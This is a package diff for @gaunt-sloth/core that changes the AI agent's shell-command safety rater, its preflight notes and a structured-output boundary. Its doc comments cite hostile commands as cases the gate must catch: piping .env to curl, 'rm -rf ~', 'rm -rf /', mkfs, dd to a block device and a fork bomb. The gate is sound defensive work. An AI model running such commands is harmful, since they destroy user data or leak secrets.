@gaunt-sloth/core 2.0.0-alpha.26 → 2.0.0-alpha.28
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/config/schema.js +64 -15
- package/dist/config/schema.js.map +1 -1
- package/dist/config/types.d.ts +17 -8
- package/dist/config/types.js.map +1 -1
- package/dist/constants.d.ts +7 -4
- package/dist/constants.js +7 -4
- package/dist/constants.js.map +1 -1
- package/dist/core/GthAbstractAgent.d.ts +1 -19
- package/dist/core/GthAbstractAgent.js +13 -65
- package/dist/core/GthAbstractAgent.js.map +1 -1
- package/dist/core/GthAgentRunner.d.ts +10 -4
- package/dist/core/GthAgentRunner.js +24 -7
- package/dist/core/GthAgentRunner.js.map +1 -1
- package/dist/core/GthLangChainAgent.js +16 -11
- package/dist/core/GthLangChainAgent.js.map +1 -1
- package/dist/core/launchBanner.js +36 -17
- package/dist/core/launchBanner.js.map +1 -1
- package/dist/core/shell/abstention.d.ts +88 -0
- package/dist/core/shell/abstention.js +184 -0
- package/dist/core/shell/abstention.js.map +1 -0
- package/dist/core/shell/openWorld.d.ts +137 -12
- package/dist/core/shell/openWorld.js +677 -12
- package/dist/core/shell/openWorld.js.map +1 -1
- package/dist/core/shell/rater.d.ts +79 -39
- package/dist/core/shell/rater.js +132 -71
- package/dist/core/shell/rater.js.map +1 -1
- package/dist/core/shell/rejection.d.ts +7 -4
- package/dist/core/shell/rejection.js +3 -3
- package/dist/core/shell/rejection.js.map +1 -1
- package/dist/core/toolDisplay.d.ts +12 -3
- package/dist/core/toolDisplay.js +27 -7
- package/dist/core/toolDisplay.js.map +1 -1
- package/dist/providers/openrouter.d.ts +3 -4
- package/dist/providers/openrouter.js +15 -30
- package/dist/providers/openrouter.js.map +1 -1
- package/dist/runtime/askStructured.js +7 -5
- package/dist/runtime/askStructured.js.map +1 -1
- package/dist/runtime/structuredOutput.d.ts +104 -0
- package/dist/runtime/structuredOutput.js +393 -0
- package/dist/runtime/structuredOutput.js.map +1 -0
- package/dist/utils/displayWidth.d.ts +30 -0
- package/dist/utils/displayWidth.js +140 -0
- package/dist/utils/displayWidth.js.map +1 -0
- package/dist/utils/systemPromptNotes.d.ts +28 -8
- package/dist/utils/systemPromptNotes.js +47 -49
- package/dist/utils/systemPromptNotes.js.map +1 -1
- package/dist/utils/untrustedText.d.ts +66 -0
- package/dist/utils/untrustedText.js +80 -0
- package/dist/utils/untrustedText.js.map +1 -0
- package/package.json +6 -1
- package/schema/gsloth-config.schema.json +3 -1
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"openWorld.js","sourceRoot":"","sources":["../../../src/core/shell/openWorld.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2FG;AAEH,OAAO,EAAE,eAAe,EAAE,QAAQ,EAAE,MAAM,0BAA0B,CAAC;AACrE,OAAO,EAAE,gBAAgB,EAAE,MAAM,8BAA8B,CAAC;AAEhE;;;;;;;;;;;;;;;;;GAiBG;AACH,MAAM,QAAQ,GAAwB,IAAI,GAAG,CAAC;IAC5C,MAAM;IACN,MAAM;IACN,MAAM;IACN,OAAO;IACP,QAAQ;IACR,MAAM;IACN,KAAK;CACN,CAAC,CAAC;AAEH;;;;GAIG;AACH,MAAM,eAAe,GAAwB,IAAI,GAAG,CAAC,CAAC,KAAK,EAAE,YAAY,CAAC,CAAC,CAAC;AAE5E,kGAAkG;AAClG,MAAM,iBAAiB,GAAG,0BAA0B,CAAC;AAkBrD;;;;;;;;;;;;;;;;GAgBG;AACH,MAAM,aAAa,GAAsC,IAAI,GAAG,CAAuB;IACrF,0FAA0F;IAC1F,6DAA6D;IAC7D,CAAC,MAAM,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,QAAQ,EAAE,IAAI,EAAE,CAAC;IACzC,CAAC,MAAM,EAAE,EAAE,IAAI,EAAE,K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,OAAO,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,IAAI,EAAE,EAAE,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACnF,OAAO,GAAG,4BAA4B,KAAK,IAAI,EAAE,CAAC;AACpD,CAAC"}
|
|
@@ -23,9 +23,9 @@
|
|
|
23
23
|
* "could not assess" reason. A rater failure can never silently green-light a command.
|
|
24
24
|
* See {@link FAIL_CLOSED_VERDICT}.
|
|
25
25
|
*
|
|
26
|
-
*
|
|
27
|
-
*
|
|
28
|
-
*
|
|
26
|
+
* A command whose target the gate cannot statically resolve is RATED like any other ([[EXT-81]]),
|
|
27
|
+
* carrying a neutral note about the shape the parser saw ({@link buildParserPreflightNote}). It is
|
|
28
|
+
* not an action, not a floor, and not a reason to skip the call.
|
|
29
29
|
*
|
|
30
30
|
* Mirrors the QA-3 rating substrate (`packages/review/src/middleware/reviewRateMiddleware.ts`):
|
|
31
31
|
* structured-output evaluation over `config.llm`, wrapped in try/catch.
|
|
@@ -66,6 +66,14 @@ export type RaterOutcome = (typeof RATER_OUTCOMES)[number];
|
|
|
66
66
|
* Structured verdict the rater model must return: one outcome plus one short sentence. There is
|
|
67
67
|
* deliberately nothing else — no severity number, no booleans to recombine into a compound
|
|
68
68
|
* condition. The consequence is a property of the rung, not of a knob.
|
|
69
|
+
*
|
|
70
|
+
* **The schema is written plainly, as the verdict the rater's CALLERS want.** `suggestedTool` is a
|
|
71
|
+
* plain `.optional()` and the parsed verdict's `suggestedTool` is `string | undefined`. What a
|
|
72
|
+
* strict `json_schema` provider has to be sent instead — the key required and its type nullable —
|
|
73
|
+
* and the `null` that then comes back are entirely the business of
|
|
74
|
+
* {@link structuredOutputBoundary}, which {@link rateShellCommand} runs both halves of the call
|
|
75
|
+
* through. Nothing about the wire belongs in this object; putting it here is what made the schema we
|
|
76
|
+
* send contradict the schema we validate with.
|
|
69
77
|
*/
|
|
70
78
|
export declare const ShellSafetyVerdictSchema: z.ZodObject<{
|
|
71
79
|
outcome: z.ZodEnum<{
|
|
@@ -78,13 +86,14 @@ export declare const ShellSafetyVerdictSchema: z.ZodObject<{
|
|
|
78
86
|
suggestedTool: z.ZodOptional<z.ZodString>;
|
|
79
87
|
}, z.core.$strip>;
|
|
80
88
|
/**
|
|
81
|
-
* The rater's structured verdict on a single shell command.
|
|
89
|
+
* The rater's structured verdict on a single shell command. `suggestedTool` is `string | undefined`
|
|
90
|
+
* and never `null` — the boundary the rating call goes through collapses a `null` to the key being
|
|
91
|
+
* absent before any consumer sees it, so "no suggestion" has exactly one spelling.
|
|
82
92
|
*/
|
|
83
93
|
export type ShellSafetyVerdict = z.infer<typeof ShellSafetyVerdictSchema>;
|
|
84
94
|
/**
|
|
85
95
|
* The honest reason text used whenever the outcome was NOT assessed by the rater — a rater failure
|
|
86
|
-
* ({@link FAIL_CLOSED_VERDICT}) or
|
|
87
|
-
* ({@link mapVerdictToAction}'s ambiguity / script-env-leak preflight). Spec rule (§4.1):
|
|
96
|
+
* ({@link FAIL_CLOSED_VERDICT}) or the script-env-leak preflight. Spec rule (§4.1):
|
|
88
97
|
* *uncertainty is not an outcome*, so it maps to `destructive` while SAYING it could not be
|
|
89
98
|
* assessed rather than pretending the command was found harmful.
|
|
90
99
|
*/
|
|
@@ -137,9 +146,8 @@ export declare const FAIL_CLOSED_VERDICT: ShellSafetyVerdict;
|
|
|
137
146
|
*
|
|
138
147
|
* The outcome stays `destructive` for all four — failing closed is right and stays right, and a
|
|
139
148
|
* failure to assess must not manufacture `catastrophic`/`attack` any more than it may manufacture
|
|
140
|
-
* an approval. What changes is that the reason now says which failure happened
|
|
141
|
-
*
|
|
142
|
-
* re-deriving it; this module deliberately does not anticipate that vocabulary.
|
|
149
|
+
* an approval. What changes is that the reason now says which failure happened, which is what lets a
|
|
150
|
+
* caller tell the gate defaulting from the model judging ({@link isFailClosed}).
|
|
143
151
|
*/
|
|
144
152
|
export type FailClosedCause = 'no-model' | 'timeout' | 'unparseable' | 'threw';
|
|
145
153
|
/**
|
|
@@ -318,14 +326,32 @@ export declare function foldHomePath(command: string, home: string | undefined):
|
|
|
318
326
|
/**
|
|
319
327
|
* Build the messages for the rater call: the system prompt ({@link buildRaterSystemPrompt}) plus a
|
|
320
328
|
* human message that embeds the NORMALIZED command inside an XML `<command_to_evaluate>` tag and
|
|
321
|
-
* (optionally) notes what a deterministic preflight already found — the script-env-leak flag,
|
|
322
|
-
* (§4.6) a host literal in a fetch position
|
|
323
|
-
* builder never executes or
|
|
324
|
-
*
|
|
325
|
-
*
|
|
326
|
-
*
|
|
327
|
-
*
|
|
328
|
-
*
|
|
329
|
+
* (optionally) notes what a deterministic preflight already found — the script-env-leak flag,
|
|
330
|
+
* (§4.6) a host literal in a fetch position, and ([[EXT-81]]) the shape our own parser could not
|
|
331
|
+
* resolve. The command text is only ever DATA in the tag — the builder never executes or
|
|
332
|
+
* interpolates it as instructions, and the notes are our own trusted text beside it.
|
|
333
|
+
*
|
|
334
|
+
* The four preflight notes are worded differently on purpose, and the differences are the design:
|
|
335
|
+
*
|
|
336
|
+
* - The **script-env-leak** note caps nothing but says "treat this as at least destructive".
|
|
337
|
+
* - The **open-world floor** note must NOT, because §4.6.1 asks the rater to *upgrade* a clear
|
|
338
|
+
* typosquat to `attack` and a note that anchors on `destructive` would talk it out of the one
|
|
339
|
+
* judgement it is still being asked for. It may say the command is never auto-approved, because a
|
|
340
|
+
* floor really did fire on it.
|
|
341
|
+
* - The **parser** note ({@link buildParserPreflightNote}) is a third register again: those two
|
|
342
|
+
* describe findings that ARE hazards and are entitled to a floor, while this one reports that our
|
|
343
|
+
* parser could not read the command, which establishes nothing about it. So it states a mechanism
|
|
344
|
+
* and asks a question, carries no verdict and no severity, and — unlike the open-world note —
|
|
345
|
+
* never says the command has already been floored, because for these families none has.
|
|
346
|
+
* - The **composed open-world** note ({@link buildComposedOpenWorldNote}) shares that third register
|
|
347
|
+
* and must not borrow the floor note's wording, for the reason the floor note is entitled to it:
|
|
348
|
+
* no floor fired here. It names the DATA FLOW across the parts rather than restating the hostname,
|
|
349
|
+
* which is already in the command text — see that function for the measurement behind that
|
|
350
|
+
* distinction.
|
|
351
|
+
*
|
|
352
|
+
* **Order matters here and is the order of a reader's attention**: the two hazard notes come first
|
|
353
|
+
* because each names something positively established, then the parser note, then its open-world
|
|
354
|
+
* elaboration — general shape of what could not be resolved, then the specific flow inside it.
|
|
329
355
|
*
|
|
330
356
|
* §4.3 defines the rated unit tool-generally (tool name + JSON arguments); `run_shell_command` is
|
|
331
357
|
* the case whose argument is a command string, and it alone is additionally normalized and
|
|
@@ -378,6 +404,15 @@ export declare function rateShellCommand(command: string, config: GthConfig, opt
|
|
|
378
404
|
* model can respond to and offers it no moves; no rung except `bypass` can turn it into
|
|
379
405
|
* anything else.
|
|
380
406
|
*
|
|
407
|
+
* **[[EXT-81]] retired the fourth arm, `abstain`.** A command whose target the gate could not
|
|
408
|
+
* statically resolve used to skip the rating call entirely and return that action instead. Under
|
|
409
|
+
* §6.1's rule — *deterministic checks fire only where we are confident something is a threat; where
|
|
410
|
+
* we cannot tell, the model decides* — a parser reporting that it could not resolve a string is not
|
|
411
|
+
* a detection, so it no longer earns an action of its own. What it earns is a neutral note in the
|
|
412
|
+
* rating prompt ({@link buildParserPreflightNote}) and a real rating, which is also what restores
|
|
413
|
+
* the ceiling: `catastrophic` and `attack` were UNREACHABLE for that whole class while nobody rated
|
|
414
|
+
* it, so `pwd && rm -rf ~` could only ever be floored at `destructive`.
|
|
415
|
+
*
|
|
381
416
|
* There is deliberately **no `refuse` arm for `catastrophic`** (settled 2026-07-27c, §4.2). The
|
|
382
417
|
* deterministic members of that class — fork bomb, `mkfs`, `rm -rf /`, `dd` to a block device — are
|
|
383
418
|
* already refused unappealably by the §8 hardline floor under every rung including `bypass`, so a
|
|
@@ -483,6 +518,13 @@ export declare function openWorldToolFloorReason(annotations: EffectiveToolAnnot
|
|
|
483
518
|
* | `catastrophic` | — | escalate | escalate — **never negotiate** | — |
|
|
484
519
|
* | `attack` | — | **halt** | **halt** | — |
|
|
485
520
|
*
|
|
521
|
+
* **[[EXT-81]] — there is no longer a row cutting across that column.** A command whose target the
|
|
522
|
+
* gate cannot statically resolve used to return `abstain` here, before the `safe` check and after
|
|
523
|
+
* the two severe outcomes. It is now rated like any other command, carrying a neutral note about
|
|
524
|
+
* the shape the parser saw ({@link buildParserPreflightNote}), and this table is the whole mapping
|
|
525
|
+
* again. The table gained nothing it did not have: what it LOST is a branch that made
|
|
526
|
+
* `catastrophic` and `attack` unreachable for every composed, substituting or redirecting command.
|
|
527
|
+
*
|
|
486
528
|
* Order of precedence (fail-closed FIRST — **this ordering IS the safety property**):
|
|
487
529
|
*
|
|
488
530
|
* 1. `bypass` → `approve`. The gate is off. The declared deny list and the exec-time hardline
|
|
@@ -492,24 +534,23 @@ export declare function openWorldToolFloorReason(annotations: EffectiveToolAnnot
|
|
|
492
534
|
* decides. (Both rungs behave identically for the shell because the shell is the only gated
|
|
493
535
|
* tool today — the built-in read/write tools each rung grants are not gated until [[EXT-30]]
|
|
494
536
|
* widens the gate. That is a scope boundary, not a missing branch.)
|
|
495
|
-
* 3. **The deterministic
|
|
496
|
-
* one** ({@link preflightFloorReason})
|
|
497
|
-
*
|
|
498
|
-
*
|
|
499
|
-
*
|
|
500
|
-
*
|
|
501
|
-
*
|
|
502
|
-
*
|
|
503
|
-
*
|
|
504
|
-
*
|
|
505
|
-
*
|
|
506
|
-
* `
|
|
507
|
-
*
|
|
508
|
-
* `catastrophic` verdict to `destructive` — the exact inverse of the invariant above, silently
|
|
509
|
-
* trading an unnegotiable escalation for a negotiable one at `full-auto`.)
|
|
537
|
+
* 3. **The deterministic preflight FINDINGS, which FLOOR the outcome at `destructive` and never
|
|
538
|
+
* lower one** ({@link preflightFloorReason}): the script-env-leak preflight
|
|
539
|
+
* ({@link hasScriptEnvLeakRisk}) and EXT-61's open-world preflight
|
|
540
|
+
* ({@link findOpenWorldHostLiterals} — a host literal in a fetch/transfer position, §4.6). Both
|
|
541
|
+
* are recomputed from the RAW command, independently of what the rater said. Either rewrites a
|
|
542
|
+
* verdict that sits BELOW the floor — i.e. `safe`, and only `safe`
|
|
543
|
+
* ({@link isBelowDestructiveFloor}) — to `destructive` with an honest reason, **before the `safe`
|
|
544
|
+
* check**, so a manipulated `safe` verdict can never slip one of them through. **A rater verdict
|
|
545
|
+
* may only ever make an outcome worse, never better**, and so may a preflight: `destructive`,
|
|
546
|
+
* `catastrophic` and `attack` all pass through UNCHANGED. (Before the rescale this branch
|
|
547
|
+
* excluded the single halting outcome BY NAME. Renamed in place it would have let a preflight hit
|
|
548
|
+
* *downgrade* a `catastrophic` verdict to `destructive` — the exact inverse of the invariant
|
|
549
|
+
* above, silently trading an unnegotiable escalation for a negotiable one at `full-auto`.)
|
|
510
550
|
* 4. `attack` → `halt`, at both rated rungs, never negotiable.
|
|
511
|
-
* 5. `
|
|
512
|
-
*
|
|
551
|
+
* 5. `catastrophic` → `escalate`, and MUST NOT enter §5's negotiation.
|
|
552
|
+
* 6. `safe` → `approve`; `destructive` → `escalate` (a negotiation at `full-auto` once [[EXT-29]]
|
|
553
|
+
* lands).
|
|
513
554
|
*
|
|
514
555
|
* **EXT-58 (§4.4): the verdict's `suggestedTool` is not read here, and that is deliberate.** A
|
|
515
556
|
* suggestion is never an approval — it must not change the action, must not approve the original
|
|
@@ -547,11 +588,10 @@ export declare function mapVerdictToAction(command: string, verdict: ShellSafety
|
|
|
547
588
|
* **The deterministic preflights are deliberately not consulted** ({@link preflightFloorReason} is
|
|
548
589
|
* not called). §4.6 states it directly for the open-world arm: *an allow match lifts this floor even
|
|
549
590
|
* when the entry keeps the rater involved — the tripwire still sees the call; the floor does not
|
|
550
|
-
* apply to it.* The
|
|
551
|
-
* only ever raises `safe` to `destructive`, and both of those run here. Applying the floor
|
|
552
|
-
* therefore alter nothing except to replace an honest verdict with a note about a decision
|
|
553
|
-
* mapping does not make.
|
|
554
|
-
* command that fails to statically resolve.)
|
|
591
|
+
* apply to it.* The script-env-leak arm is lifted with it, and doing so changes no outcome: a
|
|
592
|
+
* preflight only ever raises `safe` to `destructive`, and both of those run here. Applying the floor
|
|
593
|
+
* would therefore alter nothing except to replace an honest verdict with a note about a decision
|
|
594
|
+
* this mapping does not make.
|
|
555
595
|
*
|
|
556
596
|
* @param verdict The rater's verdict; `undefined` or a fail-closed verdict is `destructive` and so
|
|
557
597
|
* runs — the tripwire failing to answer does not revoke the human's standing decision, exactly as
|
package/dist/core/shell/rater.js
CHANGED
|
@@ -23,9 +23,9 @@
|
|
|
23
23
|
* "could not assess" reason. A rater failure can never silently green-light a command.
|
|
24
24
|
* See {@link FAIL_CLOSED_VERDICT}.
|
|
25
25
|
*
|
|
26
|
-
*
|
|
27
|
-
*
|
|
28
|
-
*
|
|
26
|
+
* A command whose target the gate cannot statically resolve is RATED like any other ([[EXT-81]]),
|
|
27
|
+
* carrying a neutral note about the shape the parser saw ({@link buildParserPreflightNote}). It is
|
|
28
|
+
* not an action, not a floor, and not a reason to skip the call.
|
|
29
29
|
*
|
|
30
30
|
* Mirrors the QA-3 rating substrate (`packages/review/src/middleware/reviewRateMiddleware.ts`):
|
|
31
31
|
* structured-output evaluation over `config.llm`, wrapped in try/catch.
|
|
@@ -33,9 +33,10 @@
|
|
|
33
33
|
import { HumanMessage, SystemMessage } from '@langchain/core/messages';
|
|
34
34
|
import * as z from 'zod';
|
|
35
35
|
import { isRatedRung, resolveApprovals } from '#src/config.js';
|
|
36
|
-
import {
|
|
36
|
+
import { buildParserPreflightNote } from '#src/core/shell/abstention.js';
|
|
37
37
|
import { normalizeCommand } from '#src/core/shell/normalize.js';
|
|
38
|
-
import { findOpenWorldHostLiterals } from '#src/core/shell/openWorld.js';
|
|
38
|
+
import { buildComposedOpenWorldNote, findOpenWorldHostLiterals, } from '#src/core/shell/openWorld.js';
|
|
39
|
+
import { structuredOutputBoundary } from '#src/runtime/structuredOutput.js';
|
|
39
40
|
import { debugLog, debugLogError } from '#src/utils/debugUtils.js';
|
|
40
41
|
/**
|
|
41
42
|
* CFG-28 (spec §4.1) — the **four** outcomes the rater may return. The retired third outcome named
|
|
@@ -67,6 +68,14 @@ export const RATER_OUTCOMES = ['safe', 'destructive', 'catastrophic', 'attack'];
|
|
|
67
68
|
* Structured verdict the rater model must return: one outcome plus one short sentence. There is
|
|
68
69
|
* deliberately nothing else — no severity number, no booleans to recombine into a compound
|
|
69
70
|
* condition. The consequence is a property of the rung, not of a knob.
|
|
71
|
+
*
|
|
72
|
+
* **The schema is written plainly, as the verdict the rater's CALLERS want.** `suggestedTool` is a
|
|
73
|
+
* plain `.optional()` and the parsed verdict's `suggestedTool` is `string | undefined`. What a
|
|
74
|
+
* strict `json_schema` provider has to be sent instead — the key required and its type nullable —
|
|
75
|
+
* and the `null` that then comes back are entirely the business of
|
|
76
|
+
* {@link structuredOutputBoundary}, which {@link rateShellCommand} runs both halves of the call
|
|
77
|
+
* through. Nothing about the wire belongs in this object; putting it here is what made the schema we
|
|
78
|
+
* send contradict the schema we validate with.
|
|
70
79
|
*/
|
|
71
80
|
export const ShellSafetyVerdictSchema = z.object({
|
|
72
81
|
outcome: z
|
|
@@ -96,8 +105,7 @@ export const ShellSafetyVerdictSchema = z.object({
|
|
|
96
105
|
});
|
|
97
106
|
/**
|
|
98
107
|
* The honest reason text used whenever the outcome was NOT assessed by the rater — a rater failure
|
|
99
|
-
* ({@link FAIL_CLOSED_VERDICT}) or
|
|
100
|
-
* ({@link mapVerdictToAction}'s ambiguity / script-env-leak preflight). Spec rule (§4.1):
|
|
108
|
+
* ({@link FAIL_CLOSED_VERDICT}) or the script-env-leak preflight. Spec rule (§4.1):
|
|
101
109
|
* *uncertainty is not an outcome*, so it maps to `destructive` while SAYING it could not be
|
|
102
110
|
* assessed rather than pretending the command was found harmful.
|
|
103
111
|
*/
|
|
@@ -487,14 +495,32 @@ export function foldHomePath(command, home) {
|
|
|
487
495
|
/**
|
|
488
496
|
* Build the messages for the rater call: the system prompt ({@link buildRaterSystemPrompt}) plus a
|
|
489
497
|
* human message that embeds the NORMALIZED command inside an XML `<command_to_evaluate>` tag and
|
|
490
|
-
* (optionally) notes what a deterministic preflight already found — the script-env-leak flag,
|
|
491
|
-
* (§4.6) a host literal in a fetch position
|
|
492
|
-
* builder never executes or
|
|
493
|
-
*
|
|
494
|
-
*
|
|
495
|
-
*
|
|
496
|
-
*
|
|
497
|
-
*
|
|
498
|
+
* (optionally) notes what a deterministic preflight already found — the script-env-leak flag,
|
|
499
|
+
* (§4.6) a host literal in a fetch position, and ([[EXT-81]]) the shape our own parser could not
|
|
500
|
+
* resolve. The command text is only ever DATA in the tag — the builder never executes or
|
|
501
|
+
* interpolates it as instructions, and the notes are our own trusted text beside it.
|
|
502
|
+
*
|
|
503
|
+
* The four preflight notes are worded differently on purpose, and the differences are the design:
|
|
504
|
+
*
|
|
505
|
+
* - The **script-env-leak** note caps nothing but says "treat this as at least destructive".
|
|
506
|
+
* - The **open-world floor** note must NOT, because §4.6.1 asks the rater to *upgrade* a clear
|
|
507
|
+
* typosquat to `attack` and a note that anchors on `destructive` would talk it out of the one
|
|
508
|
+
* judgement it is still being asked for. It may say the command is never auto-approved, because a
|
|
509
|
+
* floor really did fire on it.
|
|
510
|
+
* - The **parser** note ({@link buildParserPreflightNote}) is a third register again: those two
|
|
511
|
+
* describe findings that ARE hazards and are entitled to a floor, while this one reports that our
|
|
512
|
+
* parser could not read the command, which establishes nothing about it. So it states a mechanism
|
|
513
|
+
* and asks a question, carries no verdict and no severity, and — unlike the open-world note —
|
|
514
|
+
* never says the command has already been floored, because for these families none has.
|
|
515
|
+
* - The **composed open-world** note ({@link buildComposedOpenWorldNote}) shares that third register
|
|
516
|
+
* and must not borrow the floor note's wording, for the reason the floor note is entitled to it:
|
|
517
|
+
* no floor fired here. It names the DATA FLOW across the parts rather than restating the hostname,
|
|
518
|
+
* which is already in the command text — see that function for the measurement behind that
|
|
519
|
+
* distinction.
|
|
520
|
+
*
|
|
521
|
+
* **Order matters here and is the order of a reader's attention**: the two hazard notes come first
|
|
522
|
+
* because each names something positively established, then the parser note, then its open-world
|
|
523
|
+
* elaboration — general shape of what could not be resolved, then the specific flow inside it.
|
|
498
524
|
*
|
|
499
525
|
* §4.3 defines the rated unit tool-generally (tool name + JSON arguments); `run_shell_command` is
|
|
500
526
|
* the case whose argument is a command string, and it alone is additionally normalized and
|
|
@@ -537,6 +563,22 @@ export function buildRaterPrompt(command, options) {
|
|
|
537
563
|
'the HOSTNAME: if it impersonates a known one, name it in your explanation, and upgrade to ' +
|
|
538
564
|
'`attack` only if that deception is clear.');
|
|
539
565
|
}
|
|
566
|
+
// [[EXT-81]] — computed from the RAW command, exactly as the two notes above are: the mechanism
|
|
567
|
+
// classifier normalizes internally, so the note describes the same string the gate looked at.
|
|
568
|
+
// `null` for every command that statically resolves, which is what keeps the note off the
|
|
569
|
+
// ordinary `ls -la` — see the guard in `describeAbstention`.
|
|
570
|
+
const parserNote = buildParserPreflightNote(command);
|
|
571
|
+
if (parserNote !== null) {
|
|
572
|
+
userLines.push('', parserNote);
|
|
573
|
+
}
|
|
574
|
+
// …and its open-world elaboration, which fires on exactly the same set — a command the parser
|
|
575
|
+
// could not resolve — narrowed to those whose parts name a host in a fetch/transfer position. It
|
|
576
|
+
// carries NO verdict clause: the floor above did not fire on this command, so the sentence that
|
|
577
|
+
// note ends with would be false here.
|
|
578
|
+
const composedNote = buildComposedOpenWorldNote(command);
|
|
579
|
+
if (composedNote !== null) {
|
|
580
|
+
userLines.push('', composedNote);
|
|
581
|
+
}
|
|
540
582
|
return {
|
|
541
583
|
// §4.3/§4.4 — the granted-tool list is trusted, locally-generated text, so it goes in the
|
|
542
584
|
// SYSTEM prompt: structurally outside the fenced `<command_to_evaluate>` block below, which is
|
|
@@ -553,15 +595,19 @@ export function buildRaterPrompt(command, options) {
|
|
|
553
595
|
* it does not have, so an unrecognised name is DROPPED rather than passed on. Dropping the field
|
|
554
596
|
* never changes the outcome or the reason — the explanation the human sees is the rater's own text
|
|
555
597
|
* either way.
|
|
598
|
+
*
|
|
599
|
+
* Every "no suggestion" path returns an object with **no `suggestedTool` key at all**, never one
|
|
600
|
+
* carrying an empty or null-ish value: a second spelling of "absent" is something the §7 rejection
|
|
601
|
+
* message and every other reader would each have to handle for themselves.
|
|
556
602
|
*/
|
|
557
603
|
function validateSuggestedTool(verdict, grantedTools) {
|
|
558
|
-
|
|
559
|
-
|
|
604
|
+
const { suggestedTool, ...rest } = verdict;
|
|
605
|
+
if (!suggestedTool)
|
|
606
|
+
return rest;
|
|
560
607
|
const granted = new Set((grantedTools ?? []).map((tool) => tool.name));
|
|
561
|
-
if (granted.has(
|
|
562
|
-
return
|
|
563
|
-
debugLog(`rateShellCommand: dropping suggestedTool '${
|
|
564
|
-
const { suggestedTool: _dropped, ...rest } = verdict;
|
|
608
|
+
if (granted.has(suggestedTool))
|
|
609
|
+
return { ...rest, suggestedTool };
|
|
610
|
+
debugLog(`rateShellCommand: dropping suggestedTool '${suggestedTool}' — not a granted tool.`);
|
|
565
611
|
return rest;
|
|
566
612
|
}
|
|
567
613
|
/**
|
|
@@ -598,7 +644,10 @@ export async function rateShellCommand(command, config, options) {
|
|
|
598
644
|
debugLog('rateShellCommand: no usable model for the auto-rater; failing closed.');
|
|
599
645
|
return failClosedVerdict('no-model');
|
|
600
646
|
}
|
|
601
|
-
|
|
647
|
+
// EXT-88 — the schema is sent and read back through the shared boundary, which is what makes a
|
|
648
|
+
// strict `json_schema` provider's required-and-nullable rewrite land on a value we accept.
|
|
649
|
+
const boundary = structuredOutputBoundary(ShellSafetyVerdictSchema);
|
|
650
|
+
const structured = model.withStructuredOutput(boundary.wireSchema);
|
|
602
651
|
const raterPromise = structured.invoke([new SystemMessage(system), new HumanMessage(user)]);
|
|
603
652
|
const TIMEOUT = Symbol('rater-timeout');
|
|
604
653
|
const timeoutPromise = new Promise((resolve) => {
|
|
@@ -609,9 +658,10 @@ export async function rateShellCommand(command, config, options) {
|
|
|
609
658
|
debugLog(`rateShellCommand: rater timed out after ${timeoutMs}ms; failing closed.`);
|
|
610
659
|
return failClosedVerdict('timeout', timeoutMs);
|
|
611
660
|
}
|
|
612
|
-
// withStructuredOutput already coerces to the schema, but re-validate defensively: a fake
|
|
613
|
-
// misbehaving model could return a non-conforming object.
|
|
614
|
-
|
|
661
|
+
// withStructuredOutput already coerces to the wire schema, but re-validate defensively: a fake
|
|
662
|
+
// or misbehaving model could return a non-conforming object. This is also where a `null`
|
|
663
|
+
// suggestion becomes the key being absent — a genuinely malformed verdict still fails closed.
|
|
664
|
+
const parsed = boundary.safeParse(raced);
|
|
615
665
|
if (!parsed.success) {
|
|
616
666
|
debugLog('rateShellCommand: rater returned unparseable output; failing closed.');
|
|
617
667
|
return failClosedVerdict('unparseable');
|
|
@@ -632,8 +682,8 @@ export async function rateShellCommand(command, config, options) {
|
|
|
632
682
|
* may rewrite. **This is the whole floor rule, and it is a table rather than a comparison on
|
|
633
683
|
* purpose.**
|
|
634
684
|
*
|
|
635
|
-
* A preflight ({@link
|
|
636
|
-
*
|
|
685
|
+
* A preflight ({@link preflightFloorReason}'s script-env-leak and open-world checks; §4.7.3's
|
|
686
|
+
* tool-annotation check) may only ever RAISE an outcome to `destructive`. Expressing that as
|
|
637
687
|
* `outcome < 'destructive'` would need a total order over the outcomes, and §4.1 refuses to give
|
|
638
688
|
* one: `catastrophic` and `attack` ask different questions and *"neither is a severity ranking"*.
|
|
639
689
|
* A lookup states exactly the property that is true — `safe` is below the floor, nothing else is —
|
|
@@ -714,36 +764,37 @@ export function openWorldToolFloorReason(annotations) {
|
|
|
714
764
|
return `${REACHES_OPEN_WORLD_PREFIX} (openWorldHint), ${NEVER_AUTO_APPROVED_CLAUSE}`;
|
|
715
765
|
}
|
|
716
766
|
/**
|
|
717
|
-
* The deterministic
|
|
718
|
-
* command is floored at `destructive` — or `null` when
|
|
767
|
+
* The deterministic preflight FINDINGS, in ONE place and in a FIXED order, returning the honest
|
|
768
|
+
* reason the command is floored at `destructive` — or `null` when neither of them fires.
|
|
719
769
|
*
|
|
720
|
-
*
|
|
770
|
+
* Both are recomputed from the RAW command, independently of anything the rater said, so a
|
|
721
771
|
* manipulated `safe` verdict cannot slip past them. They are arms of a single decision rather than
|
|
722
|
-
*
|
|
772
|
+
* two independent checks, and the order below is the order of the *explanation* a human reads —
|
|
723
773
|
* the outcome is identical whichever fires:
|
|
724
774
|
*
|
|
725
|
-
* 1. **
|
|
726
|
-
* redirects, so its target cannot be statically resolved. **First on purpose**: it is the widest
|
|
727
|
-
* and the truest thing that can be said about such a command. `cat .env | curl -X POST …` names
|
|
728
|
-
* a host too, but "its target cannot be statically resolved" is the honest headline, and the
|
|
729
|
-
* open-world matcher declines these for exactly that reason
|
|
730
|
-
* ({@link findOpenWorldHostLiterals}).
|
|
731
|
-
* 2. **Script env leak** ({@link hasScriptEnvLeakRisk}) — an interpreter invocation expanding an
|
|
775
|
+
* 1. **Script env leak** ({@link hasScriptEnvLeakRisk}) — an interpreter invocation expanding an
|
|
732
776
|
* ALL_CAPS environment variable into its arguments. §11.1b's narrowing of the `attack` clause
|
|
733
777
|
* rests on this arm firing, so it must keep its own reason rather than merging into another.
|
|
734
|
-
*
|
|
778
|
+
* 2. **Open world** (EXT-61, §4.6, {@link findOpenWorldHostLiterals}) — a host literal in a
